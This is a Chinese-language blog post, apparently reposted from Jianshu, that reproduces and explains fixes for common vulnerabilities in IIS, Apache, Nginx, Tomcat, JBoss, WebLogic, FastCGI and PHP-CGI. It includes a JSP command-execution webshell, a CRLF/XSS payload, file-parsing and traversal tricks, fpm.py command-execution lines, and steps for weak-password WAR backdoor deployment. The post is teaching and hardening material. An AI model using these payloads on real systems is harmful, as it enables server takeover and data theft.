Web中間件常見漏洞總結


一、IIS中間組件:

1、PUT漏洞

2、短文件名猜解

3、遠程代碼執行

4、解析漏洞

二、Apache中間組件:

1、解析漏洞

2、目錄遍歷

三、Nginx中間組件:

1、文件解析

2、目錄遍歷

3、CRLF注入

4、目錄穿越

四、Tomcat中間組件:

1、遠程代碼執行

2、war后門文件部署

五、jBoss中間組件:

1、反序列化漏洞

2、war后門文件部署

六、WebLogic中間組件:

1、反序列化漏洞

2、SSRF

3、任意文件上傳

4、war后門文件部署

七、其它中間件相關漏洞

1、FastCGI未授權訪問、任意命令執行

2、PHPCGI遠程代碼執行

一、IIS解析漏洞:

IIS的安全脆弱性曾長時間被業內詬病,一旦IIS出現遠程執行漏洞威脅將會非常嚴重。遠程執行代碼漏洞存在於 HTTP 協議堆棧 (HTTP.sys) 中,當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼,可以導致IIS服務器所在機器藍屏或讀取其內存中的機密數據.

PUT漏洞介紹及成因:

IIS Server在Web服務擴展中開啟WebDAV ,配置了可以寫入權限,造成任意文件上傳,受影響版本:IIS6.0,漏洞復現:開啟WebDAV和寫入權限.
 
圖片發自簡書App

 

 
圖片發自簡書App

利用BurpSute測試:

BurpSute抓包,將GET請求改為OPTIONS.
 
圖片發自簡書App

利用桂林老兵寫入權限:

 
圖片發自簡書App

成功上傳,再上傳一句話木馬,然后用菜刀連接,獲取getshell:

 
圖片發自簡書App
PUT漏洞修復:關閉WebDAV和寫入權限.

二、短文件名猜解漏洞介紹及成因:

IIS的短文件名機制,可以暴力猜解短文件名,訪問構造的某個存在的短文件名,會返回404,訪問構造的某個不存在的短文件名,返回400,漏洞復現:在網站根目錄下添加aaaaaaaaaa.html文件:
 
圖片發自簡書App

進行猜解:

 
圖片發自簡書App

 

 
圖片發自簡書App
漏洞修復:1.升級.net framework;2.修改注冊表禁用短文件名功能;3.快捷鍵Win+R打開命令窗口,輸入regedit打開注冊表窗口,找到路徑:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem,將其中NtfsDisable8dot3NameCreation這一項的值設為 1,1代表不創建短文件名格式,修改完成后,需要重啟系統生效;4.CMD關閉NTFS 8.3文件格式支持;5.將web文件夾的內容拷貝到另一個位置,如c:\www到d:\w,然后刪除原文件夾,再重命名d:\w到c:\www,如圖:
 
圖片發自簡書App

三、遠程代碼執行漏洞介紹及成因:

在IIS6.0處理PROPFIND指令的時候,由於對url的長度沒有進行有效的長度控制和檢查,導致執行memcpy對虛擬路徑進行構造的時候,引發棧溢出,從而導致遠程代碼執行,漏洞復現:漏洞環境搭建:在Windows server 2003 r2 32位上安裝iis6.0,觸發漏洞:在本地執行exp,exp如下:

 

 
圖片發自簡書App

執行成功后,服務器端彈出計算器:

 
圖片發自簡書App
短文件名猜解漏洞漏洞修復:1.關閉WebDAV服務;2.使用相關防護設備.

四、解析漏洞介紹及成因:

IIS 6.0在處理含有特殊符號的文件路徑時會出現邏輯錯誤,從而造成文件解析漏洞,漏洞有兩種完全不同的利用方式:

/test.asp/test.jpg

test.asp;.jpg

漏洞復現:利用方式1:

第一種是新建名為 “test.asp”目錄,該目錄中的任何文件都被IIS當作asp程序執行,特殊符號是 “/”:
 
圖片發自簡書App
利用方式2:第二種是上傳名為 “test.asp;.jpg” 的文件,雖然該文件真正的后綴名是 “.jpg”, 但由於含有特殊符號 “;” ,仍會被 IIS 當做asp程序執行:
 
圖片發自簡書App

IIS7.5 文件解析漏洞:

test.jpg/.php

注:URL中文件后綴是 .php ,便無論該文件是否存在,都直接交給 php 處理,而 php 又默認開啟 “cgi.fix_pathinfo”, 會對文件進行 “ 修理 ” ,可謂 “ 修理 ” ?舉個例子,當 php 遇到路徑 “/aaa.xxx/bbb.yyy” 時,若 “/aaa.xxx/bbb.yyy” 不存在,則會去掉最后的 “bbb.yyy” ,然后判斷 “/aaa.xxx” 是否存在,若存在,則把 “/aaa.xxx” 當作文件,若有文件 test.jpg ,訪問時在其后加 /.php ,便可以把 “test.jpg/.php” 交給 php , php 修理文件路徑 “test.jpg/.php” 得到 ”test.jpg” ,該文件存在,便把該文件作為 php 程序執行。
文件解析漏洞修復:1.對新建目錄文件名進行過濾,不允許新建包含‘.’的文件;2.曲線網站后台新建目錄的功能,不允許新建目錄;3.限制上傳的腳本執行權限,不允許執行腳本;4.過濾.asp/xm.jpg,通過ISApi組件過濾

三、 Apache解析漏洞介紹及成因:

Apache文件解析漏洞與用戶的配置有密切關系,嚴格來說屬於用戶配置問題。,Apache文件解析漏洞涉及到一個解析文件的特性:Apache默認一個文件可以有多個以點分隔的后綴,當右邊的后綴無法識別,不在mime.tyoes內,則繼續向左識別,當請求這樣一個文件:shell.xxx.yyy

yyy->無法識別,向左

xxx->無法識別,向左

php->發現后綴是php,交給php處理這個文件,漏洞復現:上傳一個后綴名為360的php文件:
 
圖片發自簡書App
Apache解析漏洞修復:將AddHandler application/x-httpd-php .php配置文件刪除.

目錄遍歷漏洞介紹及成因:

由於配置錯誤導致的目錄遍歷,漏洞復現:
 
圖片發自簡書App

Apache目錄遍歷漏洞修復:

修改apache配置文件httpd.conf,找到Options+Indexes+FollowSymLinks +ExecCGI並修改成 Options-Indexes+FollowSymLinks +ExecCGI 並保存:
 
圖片發自簡書App
 
圖片發自簡書App

四、 Nginx文件解析漏洞介紹及成因:

對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加test.jpg/x.php進行解析攻擊,漏洞復現:在網站根目錄下新建一個i.gif的文件,在里面寫入phpinfo(),在瀏覽器中打開測試:
 
圖片發自簡書App
利用文件解析漏洞,輸入192.168.139.129:100/i.gif.2.php,發現無法解析:
 
圖片發自簡書App

將/etc/php5/fpm/pool.d/www.conf中security.limit_extensions = .php中.php刪除:

 
圖片發自簡書App

再次在瀏覽器中打開,成功解析:

 
圖片發自簡書App
Nginx文件解析漏洞修復:1.將php.ini文件中的cgi.fix_pathinfo的值設為0.這樣php在解析1.php/1.jpg這樣的目錄時,只要1.jpg不存在就會顯示404;2.將/etc/php5/fpm/pool.d/www.conf中security.limit_ectensions后面的值設為.php.

目錄遍歷漏洞簡介及成因:

Nginx目錄遍歷與Apache一樣,屬於配置方面的問題,錯誤的配置可到導致目錄遍歷與源碼泄露,漏洞復現:打開test目錄,發現無法打開:
 
圖片發自簡書App

修改/etc/nginx/sites-avaliable/default,在如下圖所示的位置添加autoindex on/:

 
圖片發自簡書App

再次訪問:

 
圖片發自簡書App
Nginx目錄漏洞修復:將/etc/nginx/sites-avaliable/default里的autoindex on改為autoindex off.

CRLF注入漏洞簡介及成因:

CRLF時“回車+換行”(\r\n)鍵的簡稱,HTTP Header與HTTP Body時用兩個CRLF分隔的,瀏覽器根據兩個CRLF來取出HTTP內容並顯示出來,通過控制HTTP消息頭中的字符,注入惡意換行,就能注入一些會話cookie或者html代碼,由於Nginx配置不正確,導致注入的代碼會被執行,漏洞復現:訪問頁面,Brup抓包,請求加上:/%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>,由於頁面重定向,並沒有彈窗:
 
圖片發自簡書App
CRLF注入漏洞修復:Nginx的配置文件/etc/nginx/conf.d/error1.conf修改為使用不解碼的url跳轉.

五、目錄穿越漏洞簡介及成因:

Nginx反向代理,靜態文件存儲在/home/下,而訪問時需要在url中輸入files,配置文件中/files沒有用/閉合,導致可以穿越至上層目錄,漏洞復現,訪問:http://192.168.139.128:8081/files/
 
圖片發自簡書App

目錄穿越漏洞,訪問:http://192.168.139.128:8081/files../,成功實現目錄穿越:

 
圖片發自簡書App
目錄穿越漏洞修復:Nginx配置文件/etc/nginx/conf.d/error2.conf的/files使用/閉合.

五、 Tomcat遠程代碼執行漏洞簡介及成因:

Tomcat運行在Windows主機上,且啟用了 HTTP PUT請求方法,可通過構造的攻擊請求向服務器上傳包含任意代碼JSP文件,造成任意代碼執行,受影響版本:Apache Tomcat 7.0.0 – 7.0.81,漏洞復現:配置漏洞,開啟put方法可上傳文件功能,Tomcat文件夾下的/conf/web.xml文件插入:

<init-param>

          <param-name>readonly</param-name>

          <param-value>false</param-value>

    </init-param>

重啟Tomcat服務:

 
圖片發自簡書App
注:訪問127.0.0.1:8080,BurpSute抓包,send to Repeater選項重放模塊,將請求方式改為PUT,創建一個122.jsp,並用%20轉義空格字符,123.jsp代碼:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

返回201,說明創建成功:

 
圖片發自簡書App

訪問127.0.0.1:8080/122.jsp?cmd=calc,彈出計算器:

 
圖片發自簡書App
Tomcat遠程代碼執行漏洞修復:1.檢測當前版本是否在影響范圍內,並禁用PUT方法;2.更新並升級至最新版.

War后門文件部署漏洞簡介及成因:

Tomcat支持在后台部署war文件,可以直接將webshell部署到web目錄下,若后台管理頁面存在弱口令,則可以通過爆破獲取密碼,漏洞復現:Tomcat安裝目錄conf.tomcat-users.xml配置如下:
 
圖片發自簡書App

訪問后台,登陸:

 
圖片發自簡書App

上傳一個war包jsp后門:

 
圖片發自簡書App

成功上傳並解析,打開:

 
圖片發自簡書App

可執行系統命令:

 
圖片發自簡書App
漏洞修復:1.在系統上以低權限運行Tomcat應用程序。創建一個專門的 Tomcat服務用戶,該用戶只能擁有一組最小權限,例如不允許遠程登錄;2.增加對於本地和基於證書的身份驗證,部署賬戶鎖定機制,對於集中式認證,目錄服務也要做相應配置,在CATALINA_HOME/conf/web.xml文件設置鎖定機制和時間超時限制;3.以及針對manager-gui/manager-status/manager-script等目錄頁面設置最小權限訪問限制;4.后台管理避免弱口令.

六、 jBoss反序列化漏洞介紹及成因:

Java序列化,簡而言之就是把java對象轉化為字節序列的過程。而反序列話則是再把字節序列恢復為java對象的過程,然而就在這一轉一變得過程中,程序員的過濾不嚴格,就可以導致惡意構造的代碼的實現,漏洞復現:靶機啟動jboss,攻擊機訪問靶機服務:
 
圖片發自簡書App

訪問/invoker/readonly,返回500,說明頁面存在,此頁面有反序列化漏洞:

 
圖片發自簡書App

BrupSute抓包:

 
圖片發自簡書App

改包,修改POST payload.bin中數據:

 
圖片發自簡書App

 
圖片發自簡書App

查看靶機,彈出計算器:

 
圖片發自簡書App
漏洞修復:1.不需要http-invoker.sar 組件的用戶可直接刪除此組件;2.用於對httpinvoker組件進行訪問控制.

War后門文件部署漏洞介紹及成因:

jBoss后台管理頁面存在弱口令,通過爆破獲得賬號密碼,登陸后台上傳包含后門war包,漏洞復現:
 
圖片發自簡書App

 
圖片發自簡書App

點擊Web Application(war)s:

 
圖片發自簡書App

點擊add a new resource:

 
圖片發自簡書App

選擇一個war包上傳,上傳后進入該war包,點擊start:

 
圖片發自簡書App

查看status為sucessful:

 
圖片發自簡書App

訪問該war包頁面,進入后門,可進行文件管理和系統命令執行:

 
圖片發自簡書App
 
圖片發自簡書App

七、 WebLogic反序列化漏洞簡介及成因:

Java序列化,簡而言之就是把java對象轉化為字節序列的過程。而反序列話則是再把字節序列恢復為java對象的過程,然而就在這一轉一變得過程中,程序員的過濾不嚴格,就可以導致惡意構造的代碼的實現,漏洞復現使用vulhub實驗環境,啟動實驗環境,訪問靶機,抓包,修改數據包:
 
圖片發自簡書App

Kali啟動NC監聽,發送數據包成功后,拿到shell:

 
圖片發自簡書App
WebLogic反序列化漏洞修復:1.升級Oracle 10月份補丁;2.對訪問wls-wsat的資源進行訪問控制.

SSRF漏洞簡介及成因:

Weblogic中存在一個SSRF漏洞,利用該漏洞可以發送任意HTTP請求,進而攻擊內網中redis、fastcgi等脆弱組件,漏洞復現,使用vulhub實驗環境,啟動環境,訪問:http://192.168.139.129:7001/uddiexplorer/SearchPublicRegistries.jsp:
 
圖片發自簡書App

BurpSute抓包,修改請求:

 
圖片發自簡書App

啟動NC監聽2222端口拿到Shell:

 
圖片發自簡書App
SSRF漏洞修復:1.將SearchPublicRegistries.jsp直接刪除;2.刪除uddiexplorer文件夾、限制uddiexplorer應用只能內網訪問;3.將weblogic安裝目錄wlserver_10.3/server/lib/uddiexplorer.war做好備份、將weblogic安裝目錄下的server/lib/uddiexplorer.war下載、用winrar等工具打開uddiexplorer.war、將其下的SearchPublicRegistries.jsp重命名為SearchPublicRegistries.jspx、保存后上傳回服務端替換原先的uddiexplorer.war、對於多台主機組成的集群,針對每台主機都要做這樣的操作、由於每個server的tmp目錄下都有緩存所以修改后要徹底重啟weblogic(即停應用–停server–停控制台–啟控制台–啟server–啟應用).

任意文件上傳漏洞簡介及成因:

通過訪問config.do配置頁面,先更改Work Home工作目錄,用有效的已部署的Web應用目錄替換默認的存儲JKS Keystores文件的目錄,之后使用”添加Keystore設置”的功能,可上傳惡意的JSP腳本文件,漏洞復現:打開訪問鏈接:http://192.168.139.129:7001/ws_utc/config.do:
 
圖片發自簡書App
注:設置Work Home Dir為`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`,然后點擊安全 -> 增加,然后上傳jsp大馬,獲取WebShell:
 
圖片發自簡書App

上傳后查看返回數據包,發現有時間戳:

 
圖片發自簡書App

可以看到時間戳為1543145154632,訪問http://192.168.139.129:7001/ws_utc/css/config/keystore/1543145154632_lele.jsp,可以進行文件管理、文件上傳、系統命令執行:

 
圖片發自簡書App

嘗試以下執行系統命令:

 
圖片發自簡書App
任意文件上傳漏洞修復:1.使用Oracle官方通告中補丁鏈接:http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html;https://support.oracle.com/rs?type=doc&id=2394520.1;2:進入Weblogic Server管理控制台,domain設置中,啟用”生產模式” .

War后門文件部署漏洞簡介及成因:

由於WebLogic后台存在弱口令,可直接登陸后台上傳包含后門的war包,漏洞復現:訪問http://192.168.139.129:7001/console

 

 
圖片發自簡書App

使用弱口令登陸至后台,點擊鎖定並編輯:

 
圖片發自簡書App

選擇部署,進一步點擊右邊安裝:

 
圖片發自簡書App

點擊上傳文件-進入文件上傳界面,選擇要上傳的war包:

 
圖片發自簡書App

進入下一步,選擇對應的war包進行部署,下一步下一步直至完成:

 
圖片發自簡書App

 

 
圖片發自簡書App

 

 
圖片發自簡書App

點擊激活更改:

 
圖片發自簡書App

啟動上傳war包所生成的服務:

 
圖片發自簡書App

獲取WebShell:

 
圖片發自簡書App
War后門文件部署漏洞修復:防火牆設置端口過濾,也可以設置只允許訪問后台的IP列表,避免后台弱口令.

八、 FastCGI未授權訪問、任意命令執行漏洞簡介及成因:

服務端使用fastcgi協議並對外網開放9000端口,可以構造fastcgi協議包內容,實現未授權訪問服務端.php文件以及執行任意命令,

漏洞復現:使用vulhub實驗環境,啟動實驗環境,python fpm.py 192.168.237.136 /etc/passwd:

 
圖片發自簡書App
注:由於訪問非*.PHP文件,所以返回結果403,使用命令執行一個默認存在PHP文件,命令:
python fpm.py 192.168.237.136 /usr/local/lib/php/PEAR.php
 
圖片發自簡書App

利用命令進行任意命令執行復現:

python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `pwd`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ifconfig`; ?>'
python fpm.py 192.168.139.129 /usr/local/lib/php/PEAR.php-c '<?php echo `ls`; ?>'
 
圖片發自簡書App
FastCGI未授權訪問、任意命令執行漏洞修復:更改默認端口.

PHPCGI遠程代碼執行漏洞簡介及成因:

在Apache調用php解釋器解釋.php文件時,會將url參數傳我給php解釋器,如果在url后加傳命令行開關(例如-s、-d 、-c或-dauto_prepend_file%3d/etc/passwd+-n)等參數時,會導致源代碼泄露和任意代碼執行,此漏洞影響php-5.3.12以前的版本,mod方式、fpm方式不受影響.

漏洞復現:使用vulhub實驗環境,啟動環境,訪問http://192.168.139.129:8080/index.php:

 
圖片發自簡書App

BrupSute抓包,修改包:

 
圖片發自簡書App
PHPCGI遠程代碼執行漏洞修復:1.升級php版本;2.在apache上做文章,開啟url過濾,把危險的命令行參數給過濾掉,由於這種方法修補比較簡單,具體方案:修改http.conf文件,找到<Directory/>增加以下三行

RewriteEngine on

RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]

RewriteRule ^(.*) $1? [L]

注:重啟Apache服務即可,但是要考慮到,相當於每次request就要進行一次url過濾,如果訪問量大的話,可能會增加Apache服務負擔.

3.打上PHP補丁,補丁下載地址:

https://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/.


作者:強大技術
鏈接:https://www.jianshu.com/p/b8d95de87344
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM